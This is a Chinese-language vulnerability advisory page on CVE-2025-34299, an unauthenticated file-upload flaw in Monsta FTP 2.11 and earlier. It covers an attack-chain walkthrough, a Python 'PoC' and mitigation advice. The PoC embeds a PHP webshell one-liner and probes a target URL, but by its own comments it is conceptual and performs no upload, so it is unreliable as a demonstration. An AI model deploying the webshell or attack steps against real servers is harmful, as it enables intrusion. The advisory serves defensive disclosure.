IPBUF安全漏洞报告
English
CVE-2025-34299 CVSS 9.8 严重

CVE-2025-34299: Monsta FTP 2.11及之前版本未授权任意文件上传导致远程代码执行

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-34299
漏洞类型
任意文件上传/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Monsta FTP

相关标签

CVE-2025-34299Monsta FTP任意文件上传远程代码执行未授权访问文件传输漏洞CVSS 9.8严重漏洞SFTPwebshell

漏洞概述

CVE-2025-34299是Monsta FTP软件中的一个严重安全漏洞,CVSS评分高达9.8分(满分10分),属于紧急严重级别。该漏洞存在于Monsta FTP 2.11及之前的所有版本中,核心问题在于应用程序允许未经身份验证的攻击者上传任意文件。攻击者可以通过从恶意的SFTP服务器上传特制文件来利用此漏洞,成功利用后可实现远程代码执行,完全控制目标服务器。Monsta FTP是一款流行的基于Web的FTP客户端软件,广泛应用于网站管理、文件传输等场景。由于其Web界面特性,许多企业将其部署在互联网可访问的服务器上,这使得该漏洞的暴露面极大。未经认证即可利用的特性极大地降低了攻击门槛,任何能够访问Monsta FTP Web界面的攻击者都可以尝试发起攻击。Watchtowr Labs的安全研究人员发现了此漏洞并向厂商报告。鉴于该漏洞的严重性和利用简易性,所有使用受影响版本Monsta FTP的用户应立即采取修复措施。

技术细节

Monsta FTP 2.11及之前版本存在未经身份验证的任意文件上传漏洞。漏洞的根本原因在于应用程序在处理文件上传操作时缺乏足够的访问控制验证。具体而言,当用户通过Monsta FTP从远程SFTP服务器下载文件时,应用程序未能正确验证上传请求的来源和合法性,允许攻击者通过构造恶意请求来上传任意文件到目标服务器。攻击者首先需要设置一个恶意的SFTP服务器,然后在Monsta FTP客户端中配置连接该恶意服务器。当受害用户在Monsta FTP界面中浏览或下载攻击者服务器上的文件时,应用程序会自动将恶意文件写入目标服务器的指定目录。攻击者可利用此机制上传webshell、恶意脚本或其他可执行文件。一旦恶意文件被成功上传到Web根目录或可执行目录,攻击者即可通过HTTP请求访问并执行这些文件,从而在服务器上执行任意系统命令,实现远程代码执行。由于Monsta FTP通常以高权限运行,攻击成功后可能获得服务器的完全控制权,包括数据窃取、横向移动、植入后门等恶意操作。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意SFTP服务器,在服务器上托管包含恶意代码的文件(如webshell)
STEP 2
步骤2
攻击者诱使受害者在其Monsta FTP客户端中添加攻击者控制的SFTP服务器连接
STEP 3
步骤3
受害用户在Monsta FTP界面中浏览或下载攻击者服务器上的文件
STEP 4
步骤4
Monsta FTP应用程序将恶意文件自动写入目标服务器的Web可访问目录
STEP 5
步骤5
攻击者通过HTTP请求访问已上传的恶意文件,在服务器上执行任意系统命令
STEP 6
步骤6
攻击者获得服务器完全控制权,可进行数据窃取、横向移动、植入后门等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-34299 PoC - Monsta FTP Unauthenticated Arbitrary File Upload # This PoC demonstrates the vulnerability in Monsta FTP <= 2.11 import requests import base64 import sys TARGET_URL = "http://target.com/monstaftp" # Update with target URL UPLOAD_PATH = "/" # Target upload path WEBSHELL_NAME = "shell.php" WEBSHELL_CONTENT = "<?php system($_GET['cmd']); ?>" def create_malicious_ftp_server(): """ Create a malicious FTP/SFTP server that serves malicious files This is a simplified representation of the attack vector """ print("[*] Setting up malicious FTP server...") print("[*] Attacker would host a malicious FTP/SFTP server") print("[*] The server contains crafted files for upload") return True def exploit_file_upload(): """ Exploit the unauthenticated file upload vulnerability Note: This is a conceptual PoC - actual exploitation requires understanding the specific Monsta FTP file transfer mechanism """ print(f"[*] Target: {TARGET_URL}") print(f"[*] Attempting to upload malicious file: {WEBSHELL_NAME}") # The actual exploit would involve: # 1. Connecting to target's Monsta FTP as attacker-controlled server # 2. Serving a malicious file when target downloads # 3. The file gets written to target server without authentication # Example HTTP request to check if Monsta FTP is exposed try: response = requests.get(TARGET_URL, timeout=10) if response.status_code == 200: print("[+] Monsta FTP instance is accessible") print("[*] Vulnerability requires victim to connect to attacker's FTP server") except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False return True def verify_upload(file_path): """ Verify if the malicious file was uploaded successfully """ print(f"[*] Verifying upload at: {file_path}") try: verify_url = f"{TARGET_URL}/{WEBSHELL_NAME}" response = requests.get(verify_url, timeout=10) if response.status_code == 200 and "cmd" in response.text: print("[+] Webshell uploaded successfully!") print(f"[+] Access webshell at: {verify_url}?cmd=whoami") return True except: pass print("[-] Upload verification failed or file not accessible") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-34299 PoC - Monsta FTP Unauthenticated RCE") print("=" * 60) create_malicious_ftp_server() exploit_file_upload() print("\n[*] Note: This vulnerability is exploited via the Monsta FTP UI") print("[*] Attacker hosts malicious FTP server, victim connects and downloads") print("[*] The downloaded file is written to the target server")

影响范围

Monsta FTP <= 2.11

防御指南

临时缓解措施
立即将Monsta FTP升级到最新版本(2.11以上),厂商已在官网发布安全更新。如无法立即升级,可采取以下临时措施:1)使用网络层访问控制,限制只有受信任IP才能访问Monsta FTP;2)配置Web服务器,禁止.php、.asp等脚本文件在上传目录执行;3)将Monsta FTP的根目录移出Web根目录;4)启用详细的审计日志并密切监控异常活动。由于该漏洞无需认证即可利用,且CVSS评分高达9.8分,强烈建议优先处理此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表